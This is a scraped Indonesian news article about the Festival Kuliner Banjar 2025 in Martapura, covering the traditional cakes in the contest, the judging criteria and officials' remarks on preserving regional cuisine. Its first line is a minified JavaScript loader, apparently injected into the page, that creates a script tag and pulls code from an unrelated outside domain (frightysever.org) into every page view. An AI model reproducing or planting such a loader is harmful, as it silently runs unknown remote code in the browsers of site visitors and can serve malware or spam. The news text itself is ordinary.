(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ada empat kue khas Banjar menjadi primadona perlombaan, yaitu apam batil bakuah gula habang, lupis bakuah gula habang, kelemben Tambak Hanyar, dan dadar gulung.
Itu terjadi di Festival Kuliner Banjar 2025 yang digelar di halaman Kantor Kecamatan Martapura, Sabtu (6/12/2025) pagi.
Kegiatan itu dilaksanakan Pemerintah Kabupaten Banjar melalui Dinas Kebudayaan, Kepemudaan, Olahraga dan Pariwisata (Disbudporapar) dalam upaya menghidupkan kembali kekayaan kuliner daerah.
Baca juga: Ribuan Guru di Kabupaten Banjar Hadiri Puncak Peringatan HUT ke-80 PGRI dan Hari Guru Nasional 2025
Kegiatan dibuka resmi Bupati Banjar diwakili Sekretaris Daerah, H Yudi Andrea.
Penilaian dilakukan berdasar tiga aspek utama, yakni kandungan gizi dan keamanan konsumsi, kreativitas dan penampilan sajian serta cita rasa dan tekstur.
Sekda menjelaskan bahwa kuliner merupakan bagian penting dari objek pemajuan kebudayaan sebagaimana diamanatkan dalam UU Nomor 5 Tahun 2017 tentang Pemajuan Kebudayaan.
Baca juga: Bupati HSU Spontan Singgah di Desa Panawakan Lihat Perajin Lukah
Menurut dia, makanan tradisional bukan sekadar memenuhi kebutuhan perut, tetapi merupakan wujud pengetahuan, keterampilan dan kearifan lokal yang harus dijaga.
Perlombaan ini diharapkan menjadi sarana pembelajaran untuk meningkatkan kualitas penyajian resep warisan leluhur.
Tujuannya agar kuliner tradisional tetap lestari dan mampu bersaing di era modern,” ujar dia.
Sekda juga memberikan apresiasi kepada Disbudporapar sebagai penyelenggara serta Kecamatan Martapura selaku tuan rumah.
Sinergi tersebut, katanya, merupakan langkah penting dalam memajukan kebudayaan sekaligus memperkuat perekonomian masyarakat.
Baca juga: Karyawati Toko Bangunan di Landasan Ulin Diringkus Polisi Tilep Uang Penjualan
Sementara itu, Kepala Disbudporapar, Irwan Jaya, menyampaikan pelaksanaan festival ini bertujuan untuk melestarikan dan mengembangkan kuliner khas Banjar sebagai bagian dari upaya pemajuan kebudayaan.
Pemilihan lokasi di Kecamatan Martapura juga dimaksudkan untuk lebih mendekatkan kegiatan pemerintah kepada masyarakat, sekaligus mendorong warga di sekitar agar makin mengenal dan mengembangkan kuliner daerah.
Penjurian dilakukan oleh tim profesional yang terdiri dari Chef Hotel, Analis Gizi, dan perwakilan TP PKK Kabupaten.
Seluruh peserta merupakan Tim Penggerak PKK dari kecamatan se-Kabupaten Banjar, yang nantinya diharapkan dapat menjadi duta kuliner di wilayah masing-masing. (kanalkalimantan.com/dkispbanjar)
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.